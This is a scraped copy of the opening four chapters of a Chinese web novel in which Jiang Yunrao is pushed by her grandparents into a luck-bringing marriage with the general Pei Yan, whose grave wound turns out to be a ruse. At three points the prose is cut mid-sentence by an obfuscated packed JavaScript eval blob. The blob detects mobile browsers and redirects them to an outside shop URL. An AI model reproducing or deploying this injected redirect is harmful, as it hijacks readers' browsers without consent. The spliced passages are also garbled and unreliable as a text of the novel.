《和离前夜》 1. 提亲 深冬腊月,正是万物蛰藏的时候。 昨晚下了整夜的雪,快晌午的时候天气放晴,日头明晃晃的照在京西百福庵盛放的红梅,于青墙碧瓦之下灿若云霞。 云娆抄完经书走出殿门,映入眼帘的恰是这晴日里红梅覆雪的盛景。 长嫂苏氏也被庭前的红梅吸引住,目光越过香炉里的袅袅青烟,瞧见檐头积雪初化,不由笑了起来,“方才天还阴沉沉的,这会子倒是晴了,可真是个好兆头。” 云娆脸上浮起笑意,“等这场雪化尽,也就到除夕了。时气一天天暖和起来,母亲这回碰上了好郎中,身体应能好得快些。” “放心,今儿求到的是上上签,想必能够如愿。咱们再去别处拜一拜,多求菩萨保佑。” 苏氏说着,让小丫鬟绿溪再去请些香。 云娆提了裙角走下台阶,挽着苏氏往近处的偏殿去拜。 自打六年前父亲在任上骤然过世,母亲徐氏便病倒在了榻上,身子时好时坏的,总没个利落的时候。直到兄长进士及第,长嫂去年进了门,又在两个月前诊出身孕,一桩桩的喜事堆到面前,身子骨才算是好了些。 只是旧疾迁延不愈,叫人悬心。 云娆前阵子依着庵中所托细心雕刻了一副经变画,昨日赶着送过来,以便印好了等年节时赠给寺里的善男信女。长嫂怕她孤身在外不方便,特地陪同过来,昨晚帮着印画后宿在庵里,今晨一道焚香抄经,算是为病中的母亲祈福。 这会儿寺里香客渐渐多起来,姑嫂俩还没走到偏殿,便听不远处有人惊喜道:“真是凑巧,原来你们在这儿呢!” 循着声音瞧过去,就见同住一条街巷的朱夫人满身绫罗,正在仆妇簇拥下往这边走来。 苏氏笑着打个招呼。 朱夫人行至跟前,目光在云娆身上逡巡着,口中笑道:“二姑娘的样貌是越发出挑了,难怪能引来那样的大喜事,我这儿可得先道喜了!” 这话说得突兀,云娆与苏氏面面相觑。 朱夫人便道:“府上的老夫人竟瞒得这样紧,先前没透半点儿消息?” 她凑近些,压着声音向苏氏道:“我出门的时候瞧见靖远侯府的人带着媒婆登门,好大的阵仗,必定是来说亲。二姑娘的姿貌是出了名的,这样的好事自然得落到她头上,回头操办起来,我可得来喝杯喜酒。” 那语气,好像这事情铁板钉钉,云娆明儿就能成为侯府少夫人似的。 苏氏闻言诧然,却不好在人多眼杂处应这话茬,只笑着寒暄道:“这样大的雪,夫人一路过来,路上可还好走么?” “外头积了好厚的雪,自然是难走路的。” “冒雪而来,才见诚心。”苏氏笑道。 朱夫人被她说到心坎儿上,也自连连点头。她今日原是有求而来,心里头惦记着儿子的前程,便没多耽搁,只颇艳羡地笑睇了眼云娆,告辞后带人往主殿去了。 剩云娆站在廊下,满心疑惑。 江家虽勉强算书香之家,但论起在朝中的官职,实在算不得什么。 云娆的曾祖父熬到四十多岁才进士及第,却也只在登榜时风光过,后头不曾担任过多大的官。祖父到老也只是个六品官,叔父如今官序七品,倒是云娆的父亲年轻有为,三十岁时就已荣升五品主政一方,只可惜天不假年,为救洪涝中的百姓丧了性命。 如今阖府最出息的便是云娆的长兄江伯宣,弱冠之年中了进士,现下在京外任着从六品官职,考绩出色,颇得赏识。 这样的门楣不算太低,但比起靖宁侯府裴家却是天悬地隔。 “平白无故的,侯府怎会来咱们家?”苏氏显然也是一样的心思,小声道:“你的婚事母亲早就物色好了人家,难道是来给三妹妹说亲?” 这话说出来,连她自己都不敢信。 江家如今有两位姑娘待嫁,云娆才貌俱佳,性情又和婉,苏氏嫁进来后朝夕相处,只觉这小姑子千好万好。 二房那位比云娆晚几日出生的江云影,容貌才情都不算出挑,加之自幼身子骨弱些得祖母偏疼溺爱,性情更是骄矜。 侯府大张旗鼓的登门,是为求她? 这事儿莫说苏氏,就连身后两个丫鬟都不信。 绿溪眼瞧着朱夫人走远,小声道:“奴婢说句僭越的话,三姑娘的亲事说了几次都没能成,侯府怎么看得上?不会真是冲着姑娘来的吧……” 若真是冲云娆来,徐氏病着说不上话,能做主的那两位老人家都贪慕侯府的权势富贵,哪会把这高枝儿往外推? 可事出反常必有妖,靖远侯府门第甚高,满京城那么多正当妙龄的美人,他家有多少亲事说不得,偏要跑来八竿子打不着的江家? 八成是有隐情! 事关终身,云娆哪敢大意,不由得看向长嫂。 苏氏心领神会,当即道:“咱们还是回去瞧瞧吧。祖母向来偏心,可别拿这事儿坑了你!” ——若裴家求娶的是三姑娘便罢,自有叔叔婶子和祖父母商量,若裴家是求娶云娆,那可就麻烦了。 …… 甜井巷里,江家这会儿正自热闹。 昨夜那场雪积得深,仆妇早起后将廊下的积雪清扫干净,还没顾得上清理甬道两侧。等伺候主子用过早饭,正准备将雪铲出去,便迎来了登门提亲的靖远侯府二夫人范氏。 她虽是仓促登门,排场却不小,非但有成群的仆从伺候,媒婆的身后还抬了十几个箱子,将原本就不算宽敞的甬道摆得满满当当。 江家老夫人崔氏听闻侯府登门提亲,喜得嘴巴都快咧到耳后根了,一面亲自去迎,一面让人去把出门访友的老太爷江思谦请回来。 此刻晴光朗照,檐头积雪融化后滴滴答答地砸在青石板上,江家的正厅门扇半掩,里头恨不得将阖府的好炭都搬来,熏得温暖如春。 二夫人范氏坐在上首,嘴边噙着浅笑。 崔老夫人陪坐在旁,脸上的笑怎么都压不下去,“承蒙夫人抬爱,不嫌弃小女粗陋。尊府的二公子这些年征战沙场,拿性命护着咱们平安,如今既有这种事,我江家效力还来不及,哪能推辞?外子稍后便能回来,他得知此事,自然也是乐见其成的!” “到底是读书人家,有心胸也有见地。”范氏笑而颔首。 她亲自登门,确乎是来提亲的。 ——给侯府次子裴砚。 靖远侯府是世袭的勋爵人家,家大业大,人丁也兴旺。现如今袭爵的老侯爷年近古稀,膝下两房都颇繁盛,裴砚便是二房裴元曙的长子。 但他不是范氏亲生的,而是妾室所出。 据说当初裴元曙尚未婚娶便让身边人怀了身孕,老夫人仓促说亲为他娶了范氏做正妻,过后没几个月妾室便诞下裴砚,成了二房的庶长子。在整个靖远侯府里,他也只比长房所出的嫡长子裴见明小两岁而已,序齿居次。 庶长子的身份终归尴尬,裴砚养到四岁时便被送去习武,八岁时跟着师傅去了北地,而后投军从戎甚少回京,算是打小就在沙场历练。 如今年已廿五,尚未娶妻成亲。 论理,裴砚虽是庶出,却是侯府的人,且这些年在军中历练战功累累,品级比父兄还高些。如今朝中内忧外患,各地偶有流民作乱,像裴砚这样能征善战的人更是朝廷要器重的才俊。 侯府的嫡长孙裴见明官职品级还不如裴砚,尚且娶到了公府幼女、宫里薛贤妃的堂妹,裴砚若要说亲,自然也该娶个门第不低的女子。 这回范氏低就江家,实则是有缘故。 说是半月之前,裴砚奉宁王之命率军与北夏交战,两军恶战之际,裴砚不慎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她心里早有主意,却不急着挑破,只是道:“江大人膝下两位孙女,听说都生得出众,不知可曾定下人家?” 江思谦闻言,见内人似是瞥向三姑娘住的方向,不由轻咳了声。 崔老夫人哪能不明白他的意思? 两个孙女儿,她向来偏疼二房的江云影。 若裴砚没重伤,哪怕范氏是来为云娆说亲,她也得试着给三姑娘争取一番。不过如今裴砚生死难料,侯府能想出冲喜的主意屈尊寻到江家跟前,想必活下来的希望渺茫,进门就做寡妇这种事到底该慎重。 遂笑抚衣袖,道:“两个孙女都还没说亲,云娆年长些,先头有幸去宫宴时还曾得过娘娘赞赏,想来倒比她妹妹懂事些。” 旁边江思谦听了正中下怀。 倒不是他偏疼谁。 在他眼里,两个孙女都差不太多,若能拿姻亲为娘家出力,便是顶好的婚事。 不过江云影被祖母宠坏了,性子远不及云娆沉稳,更勿论容貌才情。 裴家毕竟是侯府,嫁个懂事的孙女过去方能保住两姓之好。若选了江云影,但凡她行差踏错惹得侯府不满,恐怕反而会结亲不成反结仇。 遂颔首道:“云娆是更沉稳些,可堪服侍裴将军。” 范氏等的就是这名字,见两人都这样说,便笑道:“不知二姑娘和令媳可在么?若今日能得一见,就更好了。” 崔老夫人忙道:“云娆进香去了还没回,我那儿媳病着起不了身,倒是失礼了。” 这倒也罢了。 向来婚事都是父母之命媒妁之言,江云娆父亡母病,都没力气做主,由家中祖父母定下也是一样的。 范氏自不肯去沾病气,匆促与江思谦夫妇谈妥后便告辞而去。 等云娆乘马车一路打滑回到府里,范氏一行早就走了,只剩满地箱笼还没收完,正由仆妇挨个归置。 她听着仆妇丫鬟纷纷来道喜,脸上没半分喜色,径直便往祖母住处走去。 2. 争执 崔老夫人住的主屋里这会儿正热闹。 云娆进去时,阖家几乎聚齐了。 母亲徐氏原就病着身子弱,得知云娆被仓促商定婚事后气怒交加,整张脸都浮着病态的红,边说边咳,急得仆妇眼圈都快红了。 江家官职虽低,府邸其实颇为宽敞,老人家住着正院,二房住在东院和东跨院,西边给长房住,后头小花园两侧的东西竹馆则是云娆姐妹各居一处。 徐氏原本住在紧贴主屋的西院,后来因病着要静养,便带小儿子搬到更安静宽敞的西跨院去住,让苏氏夫妇住在西院,也好就近服侍祖母。 隔着几道院墙,西跨院能避开宾客往来之扰,消息却也颇封闭。 今日侯府登门提亲时,徐氏才吃了药睡下。崔老夫人有意封锁消息,因西院里苏氏恰好不在,院门掩上时,这边的动静便没传到西跨院去。 等范氏离去,徐氏睡醒后起身用晌午饭,崔老夫人才派人去知会此事。 徐氏听后大惊,拖着病体就来了。 二房众人得知侄女竟许了侯府,江云影没能沾上这高嫁的香饽饽,难免也来问个究竟。 阖家聚齐,江思谦便将裴家提亲的缘故讲明白,只说是云娆素来沉稳、进退有度,加之侯府的二夫人更为中意,才选了她嫁进侯府。 二房的江慎夫妻俩得知这婚事是为冲喜,裴砚重伤之下生死难料,虽说仍为这高枝儿羡慕含酸,倒也慢慢闭上了嘴。 徐氏却哪里肯依? 云娆的婚事她其实早就相中了,那男子是江伯宣的好友,名叫燕熙,虽只是个县令之子,却文武兼修,生得龙章凤姿,性情也很好。 两处都有意结亲,只因燕熙未出家孝,是故不曾挑破,只等翻过年出了孝再提罢了。 如今江思谦夫妇骤然许婚,徐氏着实气得够呛。 她拖着病体据理力争,想驳了这门婚事,见上首两人不为所动,分明是要把亲孙女卖给侯府以求富贵的架势,几乎想张口骂人。 听见外头动静,见云娆和苏氏裹着寒气匆匆走进来,徐氏再也忍耐不住,上去就抱住了云娆。 “我的儿,你的命怎么这样苦!” 她瞧着女儿漂亮的眉眼,一想到孩子要被送进侯府那种不得自由的地方,甚至年纪轻轻就可能守寡,眼泪就跟断线珠子似的掉下来,“你父亲若还在世,哪会答应这样的事,这可是把你往火坑里推啊!” 这话一出口,云娆便知是有糟心事落到了自家头上,八成是祖父母趁兄长尚未回京,瞒着她母亲做的。 旁边苏氏见婆母病中哀哭,生怕她出事,忙扶着轻声宽慰。 上头崔老夫人被徐氏哭得脸色僵硬,见云娆回来,稍稍和缓了些,招手道:“快过来,正有件喜事要同你说。” 她难得对云娆和颜悦色,一面朝二房递个眼色,让他们先回去别添乱,一面向云娆道:“今儿靖远侯府的二夫人亲自登门,是来为你提亲的。” 冲喜的事肯定瞒不住,她简略说了裴砚病重的缘故,又道:“裴将军福大命大,沙场上打滚这么多年,必定能逢凶化吉好起来。到时候你便可安心留在侯府,那是享不尽的荣华富贵。快劝劝你母亲,别死心眼错过大好婚事。” 说着话,拿过范氏留下的礼单子,就想让云娆瞧瞧。 云娆哪会信她的鬼话? 何况,不论裴砚身体如何,她私心里都不想嫁进侯府这种齐大非偶的门第。 她也没看那礼单,只朝长辈行礼道:“祖母勿怪,这件事太过仓促,孙女没法儿劝。还望祖父祖母能听听我母亲的意思,拒了此事。” “这孩子,说什么傻话!” 崔老夫人耐着性子,只管拿话来哄,“你母亲病糊涂了,你难道也跟着糊涂了?那靖远侯府是什么门第,裴将军虽是庶出,却战功赫赫年轻有为,多少人家都想攀附。如今只是一时困顿罢了,等他调养过来,自有锦绣前程,这可是求之不得的好福气!” “既是好福气,母亲怎么不送给你最疼爱的三姑娘?”徐氏看不得她哄骗云娆,见二房众人都走了,径直撒出闷气。 崔老夫人被她噎住,一时间倒不知该怎么回答。 徐氏病歪歪的靠在儿媳身上,不肯死心,“云娆是相中了人家的,攀不上那样的富贵。母亲不是一直要给三姑娘挑个好门第么,如今好福气送上门来,怎么不想着她了?” 这话老夫人没法儿答,一直沉目坐着的江思谦便开了口,“云影性子急躁,不及云娆懂事。” “就因云娆懂事,才要跳这火坑吗!”徐氏气得直抖,也顾不上礼数了。 江思谦的脸色愈发难看起来。 他哪会不知徐氏的意思? 无非是舍不得女儿,怕云娆新婚就守了寡,应付不来侯府内宅罢了。 方才云娆没回来时徐氏赶来争辩,话里话外也都是不愿卖女求荣。如今搬出早就亡故的长子江恒来说事,也无非是怨怪老两口狠心,不顾孙女的处境。 可云娆的处境哪里比得上江家的前程? 江思谦那点心思不好说出口,被徐氏步步紧逼时脸上又挂不住,索性一拍桌子,拿家国大义压了过去—— “裴将军是为国征战受了伤,为了百姓连身家性命都不顾,咱们又怎能处处顾惜自身!恒儿当初为救百姓不顾生死,若今日他在,必定也会以家国大义为先!聘礼已经收了,婚事也说定了,这事没得商量,都回去吧!” 说罢,竟自拂袖回书房去了。 徐氏未料他厚颜至此,将攀高枝儿说得如此冠冕堂皇,气怒之下一口气没缓过来,竟自晕了过去。 云娆愕然看着祖父的背影,却也顾不上旁的,忙命人将母亲抬回屋里,去请郎中。 …… 徐氏醒来时已是傍晚了。 西跨院里暮色四合,童妈妈带人掌了灯,连同晚饭也都备好了,只等徐氏苏醒后用饭。 待里头传出动静,她便让丫鬟伺候徐氏洗手洁面,再将按郎中叮嘱做的饭菜端进去,放在病榻旁边支起的小八仙桌上。 云娆与苏氏搀扶徐氏坐起来,再给她垫个软枕靠着。 苏氏小字春柔,与云娆的兄长青梅竹马,因着知书达理性情宽柔,很得徐氏的喜欢。她昨日陪云娆去百福庵送雕版,今日又忙着照料婆母调理汤药,竟是半点儿都没得闲。 徐氏瞧着不忍,让她赶紧坐下,“你怀着身子劳累不得,外头那样厚的雪,你们一路赶回来想必也累了,还是该好生歇着。” 苏春柔应了,给她盛了碗汤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555011|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 徐氏只喝了两三口汤,想着白日里的鸡飞狗跳,神情便又黯然了下来。 她与丈夫感情深厚,在江恒骤然亡故时着实受了不小的打击。那之后一病不起,内宅的事上难以看顾周全,非但被二房的弟妹拿走中馈之权占尽上风,就连儿女的事有时也难以护周全,让云娆在主屋和东院手里受了不少的委屈。 好容易挑中燕熙这么个才俊,连给云娆的嫁妆都备下了,只等燕熙出孝后给闺女寻个安稳的去处。 谁知竟生出这样的枝节! 徐氏想起老太爷临走前放的狠话,知道这事儿很难有转圜的余地,却还是不死心,道:“我如今抱病奈何不了他们,伯宣却是过两日就要回来的,到时候总得为你做主。” 她摸着云娆的手,眼睛里全是心疼,“你打小懂事,自然知道侯府是怎样的门第,不是咱们应付得来的。反倒是燕家,既与你兄长有交情,也通情达理,听说他家还开着书坊,你那样爱刻雕版画,到了那边还能做些喜欢的事。” 说到这里,又忍不住咳嗽起来。 云娆岂能不知两桩婚事的高低好坏? 她虽对燕熙没什么执念,但若在侯府和燕家之间选,自然更愿意去门当户对的燕家踏实过日子,而不是去侯门看人脸色。 但此刻说这些也没用处。 她赶紧帮母亲顺背,柔声道:“母亲先用饭吧,别又气坏身子,剩下的事咱们慢慢商议。” 徐氏自知今日是吃了病弱不能理事的亏,才被老两口瞒天过海地定下婚事,听得女儿劝说,果真挣扎着吃起饭来。 过后找老两口商议,却也无甚转圜。 到除夕前一日,得知妹妹婚事有变的江伯宣也总算快马加鞭地赶了回来,进屋后见过母亲妻妹,顾不上歇息片刻,便奔老太爷书房去了。 那日,阖府都听见了书房里激烈的争吵声。 最后是老太爷摔门而去,素来如青松般磊落的江伯宣寒着脸从里头走出来,脚步沉重。 他拐过竹丛,最后停在云娆住的西竹馆。 “是为兄来晚了,没能扭转此事,也没能护好你。”江伯宣的脸上尽是歉疚,袖中的手紧握成了拳,手背的青筋几乎根根分明。 他没多解释其中原委,只向云娆郑重许诺道:“婚事虽不好退,但若你实在不想嫁,或是往后在侯府不开心,为兄都能养你一辈子。” 时下世道虽不太平,风气却还开明,和离后另嫁他人,或是终身不嫁守着资财过一辈子也不是稀罕事。 云娆虽猜到了这样的结果,真个听到消息,到底叹了口气。 “这事不怪哥哥,是祖父和祖母做事太狠,早早答应婚事收了人家的聘礼,还将消息传扬开,断了咱们的退路。” 少女垂眸站在晚风里,难掩眼底黯然。 到这步田地,江家若还反悔,恐怕真是要落个背信弃义的名声了。 云娆最后一点希冀破灭,彻底死心后,反倒慢慢坦然起来。 无可避免的事,只能往前走下去,前路到底是福是祸也须看她的造化。但既然祖父母如此算计于她,丝毫不顾骨肉亲情,有些事情便无需再委曲求全了。 云娆拿定主意,翌日清晨阖府到老夫人处问安时,便趁机提起了件事情。 3. 维护 除夕将近,今晨主屋里的人聚得格外齐全,莫说两房的女眷,就连二叔江慎和堂兄也都来了,热热闹闹地坐满了整个屋子。 一阵家常闲话过后,老太爷坐在上首,啜起了香茶。 因昨日祖孙间吵得厉害,他似乎不太想搭理江伯宣,偶尔开口也只接二房的话茬,像是给长房脸色瞧似的。 崔老夫人却不想总这样僵下去。 毕竟还指望拿云娆做梯子,跟侯府攀好交情呢。 她戴着新做的暖帽,身上秋香色的织锦外裳也都是簇新的,视线扫过满屋女眷,最后落在了云娆的身上。 不得不说,她这孙女虽说性情不似三姑娘般嘴甜讨喜,容色却实在没得挑。 年才十五的少女,生得玉容花貌,虽没用贵重的绫罗珠翠来装饰,单是那身玉色绣折枝的衣裙穿在身上,便已是令人眼前一亮的清姿丽色。也难怪侯府满意,这样的姿貌气度,若非家世出身欠缺了些,嫁进公府侯门都使得。 此刻晴光透过纱窗照进来,她坐在绣凳上神情沉静,想来也是接受了定亲的事实,不再如前两日般耿着脖子不肯答应了。 崔老夫人便笑道:“昨儿侯府来人说婚期定在了二月初,这个正月咱们除了过年,也得早些操办婚事才行。” 这话是跟二夫人祁氏说的。 祁氏忙道:“母亲放心,大嫂身子骨弱、侄媳妇又怀着身孕,这些事情我自会交代人去办妥当。” 崔老夫人点头,又觑向云娆。 “我知道你怕在侯府受委屈,可女子的婚事哪有处处称心如意的?” “你父亲去得早,兄弟们若想在朝中有所作为,总须有人帮衬。咱们虽不算富贵人家,却也好生养着你们,不指望姑娘家光耀门楣,好歹也该为府里出点力。” “皇家公主尚且有为国远嫁和亲的,你嫁进侯府着实不算委屈。” 她搬出跟老太爷商量好的说辞,一副语重心长的模样。 云娆心底里并不认同,但反驳也无济于事,只起身道:“祖母所言自然有理。不过话说到这里,孙女有两件事想求祖父和祖母做主。” “你说。” 老太爷见她终于肯了,竟也开了口。 “头一件,侯府给的聘礼不薄,咱们不宜贪图人家的钱财,还望祖父做主将侯府那些聘礼都添到嫁妆里去。” 这话说出来,祁氏和江云影的脸色就有些难看。 云娆权当没瞧见,只瞧着老两口。 那日范氏登门,除了聘礼单子之外,还带了十几箱的好东西,因徐氏尚且病着,便由崔老夫人做主收进库房。 云娆母女和长嫂苏氏对这婚事都存有芥蒂,自然没心思瞧那些东西。二房这两日却热闹得很,江云影母女缠着崔老夫人将东西来回看了好几遍,又是拿着爱不释手,又是私下商量这些东西价值几何,就连聘礼单子都快翻旧了。 绿溪无意中瞧见,回来后便忿忿不平,“看她们那模样,恨不得把东西都搬到东院去,回头好添到三姑娘的嫁妆里!” 云娆虽无意于这门婚事,但若自己被逼去冲喜,却让二房趁机捡了好处,天底下哪有这样的便宜事? 自然是不能纵着她们的。 此刻当众提出,崔老夫人的脸上也有些尴尬。 高门贵府送来的聘礼确乎贵重,若不是怕江云影嫁过去守寡,她是真想把这门亲事给最听话贴心的二房。饶是如此,她也已私下答应了江云影,要将两件中意的留在府里。 不过如今云娆提起,私吞聘礼说出去终归不好听,且这会儿江伯宣也在,她当着这个出息的嫡长孙总不好太过分。 便同老太爷换了个眼色,有点讪讪的道:“就依你。那第二件呢?” 第二件事,就彻底是江家私事了。 …… 江家虽是书香之家,因着官职不高,除了攒出的藏书楼外,家底其实并算不丰厚。祖上传下来的最初也只是主院和东西院的屋舍,至于后来扩建的东西跨院、东西竹馆,那都是云娆的母亲徐氏嫁进来之后的事了。 在江恒过世之前,府里其实是徐氏在打理。 她出身商户,因是嫁给新科进士,当初的陪嫁颇为可观。 念着江家是被视为清流的读书人家,且与夫君感情融洽,徐氏自嫁进门便守着规矩,对公婆十分孝顺。除了拿嫁妆贴补扩建了两处跨院和东西竹馆之外,因府里人丁渐多开销弥费,还将两处陪嫁铺子的年收拿来贴补家用。 江家有了她帮衬,吃穿用度上自然日益阔绰起来,连伺候起居的丫鬟仆从都添了不少。 后来江恒亡故、徐氏病倒,中馈都交到二房手里,也是照旧拿那两处进项来贴补,不曾将钱账收回来。 这么些年,长房和老两口的用度自不必论,二房每年多开销的近千两银子也都出自徐氏的私产。甚至祁氏拿去讨好老两口的一些东西也是拿这笔钱置办的。 可二房何曾感念半分? 每年银子收进来,倒多半用在他们身上,偶尔徐氏旁敲侧击地提起账目,也都被祁氏和崔老夫人含糊搪塞过去。 先前徐氏缠绵于病榻,念着女儿年弱、稚子尚幼、江伯宣又要专心读书,觉得一家子都是亡夫的骨肉兄弟,吃了亏忍忍也就算了。每尝寻医问药、给云娆和幼子添置衣裳首饰,也都是从嫁妆里出,没去费口舌动用公中的钱。 如今老两口存心算计,二房隔岸观火还觊觎嫁妆,何曾顾念骨肉亲情? 云娆站起身,正色施礼,“侯府门第高,眼光自然也挑剔,母亲不愿嫁妆太简薄,几乎掏空了箱底。往后长嫂生子调养、三弟读书成家都需用银钱,母亲如今手头紧,还望祖父做主,把五槐街那两处铺子的账目交还回来。” 她尽量让语气和软,却还是让二婶祁氏变了脸色。 就连徐氏都有点诧异地看向云娆。 ——云娆的嫁妆早就备好了,即使去侯府又添了些,也不至于到拮据的地步。 这会儿提出来,自然是想趁机把这笔进项拿回来给她用。只是先前数次尝试讨要不得…… 徐氏不由看向了弟妹。 就听祁氏道:“这话可从何说起!家里这么多人,上到老太爷老夫人,下到几个孩子,每天睁开眼睛就是要我操心的事情……” 她一副辛劳受累的委屈模样,丝毫不提铺子的事,只满口说着持家之难。 就连二叔江慎都目露不悦,分明是嫌她小姑娘掺和长辈的事。 毕竟江家祖产有限,凭他那点微薄俸禄,哪里够妻女和儿子儿媳随便用的?好日子过惯了,谁都不肯裁剪用度委屈自己,徐氏这笔钱府里都用十几年了,如今忽然要回去是什么意思? 夫妻俩不愿割肉,都盼着老两口能驳回这要求。 就连江云影都忍不住道:“伯母一向病着,阖家上下都是我母亲打理,连二姐姐出嫁也得我母亲操办呢!” 她这两日心情复杂,既庆幸冲喜守寡的倒霉事没落在自家头上,又眼红侯府的聘礼门第,这会儿心里愈发不满,仗着长辈溺爱,高声说话时轻易压住祁氏的诉苦声。 屋里似有一瞬的安静。 苏春柔便趁着这间隙起身道:“既是婶子腾不开手,这事便交给侄媳操办吧,总归都有管事和婆子们跑腿,也能让婶子得空歇歇。” 话虽说得温柔,态度却是坚定。 场面一时尴尬,还是老太爷咳了声道:“家里的事本就如此,互相帮衬罢了,何必分得那样清楚。” 意料之中的和稀泥。 云娆懒得再听婶母自说自话胡搅蛮缠,也知道祖父母偏心,径直道:“若当真是互相帮衬,孙女自然没得话说。可如今这情形,孙女倒不敢嫁了。” 老太爷愣住,“你一个待嫁的闺中女儿,嘴里都在胡说什么!” 云娆抬眉,“亲事虽不能退,婚仪却还没办。若孙女铁了心不肯去裴家,祖父难道还能捆着我去结仇?” “若真跟裴家结了仇,对伯宣的仕途也没益处!”老太爷当即怒道。 一直沉着脸的江伯宣随即站了起来,“孙儿不在乎,凡事以妹妹为先。真到那般田地,孙儿自会去侯府说清原委。” 说罢,见徐氏被儿女触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好啦,往后别再提燕家。”云娆低声。 青霭自知失言,也怕勾起姑娘伤心,忙道:“罢了。今晚是除夕,该高高兴兴的。明儿辞旧迎新,没准儿姑娘的运道又能转好呢!” “就是,说不准那位裴将军命硬,人也好相处,咱们倒也不必天天愁眉苦脸,平白辜负了好日子。”绿溪最爱哄云娆开心,眼珠一转就想起了好东西,“方才厨房送来羊肉汤,说是拿新鲜羊肉炖的,隔着食盒都香味儿扑鼻。这会儿该晾好了,奴婢端来给姑娘喝。” 云娆就好这口,倒被勾起馋意。 少顷,绿溪拎来食盒,拿小碗盛了羊肉汤,洒上稍许切碎的葱花芫荽,果真美味得很。 云娆喝得眉头舒展,念及前路时不免又想到那位只闻其名未见其人的裴家次子。 闹到冲喜的地步,得是多重的伤呢? 昨晚听哥哥说边地战事未平,齐州一带和岭南都有流民作乱,南边甚至还有人自立为王欲与朝廷抗衡,朝中的局势竟艰难到这等地步了么? 云娆固然不信冲喜之说,但裴砚能舍了侯府的富贵安逸,十余年如一日地守在边地,为守卫百姓出生入死,倒是令人钦佩的。 但愿他能熬过这重伤。 她觑着博山香炉,有些出神。 …… 京城外的香岭别苑里,“重伤垂危”的裴砚这会儿正坐在短榻上,对着挂在墙壁的北地舆图翻看一本兵书。 年才廿五的男人,生得剑眉朗目,轩然霞举,因自幼习武操练骑射,更养得腰背劲瘦,身姿峻拔。 久在沙场风吹日晒,他的肤色不算白皙,气度却凌厉而沉稳,端坐时如山岳岿然。 窗外日色慢挪,竹影微动,他对着兵书和舆图思索行军之策,似浑然忘了时辰。 直到一道人影走进屋中,笑道:“外头都乱成一锅粥了,你倒清闲!” 4. 伤势 推门进来的是宁王魏铎。 他是当今承平帝膝下最小的儿子,年纪与裴砚相若,因母亲是宫女出身,自幼便不太得宠。后来索性远赴边塞护卫疆土,日子久了,难免跟裴砚处出过命的交情。 今日各家各户忙着筹备除夕团聚的夜宴,他不爱去宫里凑热闹,加之母亲早已亡故,索性寻个由头来找好友。 裴砚搁下书卷,瞥了眼身后拎着两坛好酒的侍卫,也自站起身来,“我还得闷多久?” “怎么也得十多天吧。” 宁王说着,让人收起舆图书册,招呼他先去隔壁暖厅用午饭。 这香岭别苑是宁王的私宅,修筑在京郊的深山里,殿宇屋舍虽不算华丽,却有半坡红梅和成片的茶花。这时节万物凋敝,唯有嫣红的梅花开得正盛,于熠熠暖阳下甚是夺目。 裴砚眺望梅林,眉头却未舒展。 他藏身在这座深山别苑,其实另有缘故。 大梁虽曾有国力昌盛的时候,但数代帝王承袭下来,却渐露衰微之相。尤其是承平帝继位这四十年,因帝王沉湎于书画技艺,在朝堂国事上缺乏魄力手腕,以致将朝政托付于奸佞之手,他则在深宫画画偷懒。 承平帝弱冠时登基,到如今年过花甲,大梁国力也随着他日益衰老而每况愈下。 如今朝中乱象丛生,先有流民作乱,后有贼寇自立,若朝廷还不能重振朝纲,恐怕某些节度使的异心就该压不住了。 但内忧之余,还有外患未清。 北夏向来虎视眈眈,在边地屡屡挑起战事,一直窥伺着大梁的繁华。先前几位敌将都被裴砚等人斩于马下,前年北夏从别处调了压箱底的名将屠长恭来对付大梁,一副不达目的不肯罢休的架势。 这屠长恭用兵打仗十分高明,也深得北夏主政的太后信任,是如今北边最大的威胁。 裴砚数次与他交锋,想将这隐患趁早拔除,奈何屠长恭生性谨慎,自知裴砚是个劲敌,便只在试探之余囤积兵马,另待时机。 可大梁怎么等得起? 若再拖下去,怕真是要陷入内忧外患的困境,既无力平定流民叛贼之乱,也腾不出钱粮兵马在北边御敌。 宁王为此十分忧虑,便与裴砚商议了这计策。 ——据探子所报,北夏太后其实早就想挥兵南下蚕食大梁疆土,只是屠长恭忌惮死守边关、数次让北夏吃大亏的裴砚,总想等候良机一举成功,才顶住北夏太后的旨意迟迟没调动大军。 这回屠长恭再度出兵试探,裴砚便来了个重伤中毒的戏码,想诱屠长恭调动精锐,好早些除掉隐患。 可屠长恭实在谨慎,不肯轻信此事,宁王没了法子,便将主意打到了北夏太后的头上。 他将裴砚重伤垂危的消息暗里放出去,在北地做出秘不外传的假象,周密布防后安排人护送裴砚回京医治。 届时,京城的北夏暗探自会将消息传到那位太后耳中,哪怕屠长恭仍想养精蓄锐,恐怕太后也该逼他趁防守空虚大举南下了。 这种事需要耐心。 宁王虽忧心朝中内乱,对边地布防却很有把握,安排妥当后自管先回京城。 裴砚既是受伤中毒后性命垂危,南下的队伍自然走得极慢。他懒得费那个功夫,便留下心腹在队中掩人耳目,自己纵马疾驰回京,蛰居在这座别苑里。 此刻两人临风对酒,商讨的也是诱敌深入、一举歼其精锐的法子。 直待午饭将尽,宁王才提起别的—— “听说你那嫡母急着给你冲喜,将婚期定在二月初,如今忙着筹备婚事,就等你回府了。那姑娘我让人瞧过,容貌出挑,倒也配得上你。” 